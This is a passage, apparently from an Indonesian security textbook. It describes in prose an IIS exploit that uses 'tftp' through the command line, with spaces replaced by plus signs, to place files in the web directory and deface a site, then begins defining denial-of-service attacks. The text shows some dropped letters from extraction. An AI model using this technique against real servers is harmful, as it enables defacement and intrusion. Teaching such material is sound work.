file. Salah satu exploit yaitu  dengan mengambil file dari sebuah tempat

dengan “TFTP” ke server IIS ini . Prinsipnya yaitu  memakai  

perintah yang command line sebagai perintah “dir” te sebut, seperti dnegan

printah “tftp” dan menggantikan spasi dengan tanda tambah (+). Setelah itu,

file dapat ditempatkan dimana saja termasuk di direkto i yang digunakan

untuk memberikan layanan web. Atau dengan kata lain web ini  dapat

diubah (deface).

 119

Denial of Service Attack

Denial of Service Attack

“Denial of Service (DoS) attack” merupakan sebuah usaha (dalam bentuk

serangan) untuk melumpuhkan sistem yang dijadikan targe  sehingga sistem

ini  tidak dapat menyediakan servis-servisnya (denial of service) atau

tingkat servis menurun dengan drastis. Cara untuk melu puhkan dapat

bermacam-macam dan akibatnyapun dapat beragam. Sistem yang diserang

dapat menjadi “bengong” (hang, crash), tidak berfungsi, atau turun

kinerjanya (beban CPU tinggi).

Serangan denial of service berbeda dengan kejahatan pencurian data atau

kejahatan memonitor informasi yang lalu lalang. Dalam serangan DoS tidak

ada yang dicuri. Akan tetapi, serangan DoS dapat mengakibatkan kerugian

finansial. Sebagai contoh apabila sistem yang diserang merupakan server

yang menangani transaksi “commerce”, maka apabila server ini  tidak

berfungsi, transaksi tidak dapat dilangs